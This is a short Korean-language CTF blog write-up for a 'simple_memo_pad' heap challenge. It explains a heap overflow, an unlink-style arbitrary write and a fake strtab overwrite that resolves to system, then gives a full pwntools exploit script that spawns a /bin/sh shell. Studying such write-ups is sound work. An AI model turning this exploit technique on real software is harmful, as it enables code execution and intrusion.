Rnote4에 이어서 strtab을 덮는 문제를 풀어봤다!
Edit에서 heap overflow가 발생해서 fd와 bk를 쓸 수 있고 delete에서 bk+144에 fd를 넣고 fd+152에 bk를 넣는 구조가 있어서 원하는 주소에 값을 쓸 수 있다.
strtab을 가리키는 주소를 fake strtab을 구성한 heap주소로 바꿔주면 끝
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | from pwn import * s = process("./simple_memo_pad") elf = ELF("./simple_memo_pad") def write_n(content): s.sendlineafter("> ","1") s.sendlineafter("Content: ",content) def edit(index,content): s.sendlineafter("> ","2") s.sendlineafter("Index: ",str(index)) s.sendlineafter("Content: ",content) def delete(index): s.sendlineafter("> ","3") s.sendlineafter("Index: ",str(index)) def show(): s.sendlineafter("> ","4") def quit(): s.sendlineafter("> ","5") write_n("A"*0x53+"system") write_n("B"*128) edit(3,"K"*128+p64(0x0000000000601850-144)) delete(3) quit() s.sendlineafter(":","/bin/sh\x00") s.interactive() | cs |
[0CTF_2018] Babystack (0) | 2019.12.03 |
---|---|
[CodeBlue_2017] Secret_mailer_service (0) | 2019.12.02 |
[RCTF_2018] Rnote4 (0) | 2019.11.29 |
[SCTF_2018] cowboy (0) | 2019.11.27 |
[BSidesSF_2019] runitplusplus (0) | 2019.11.17 |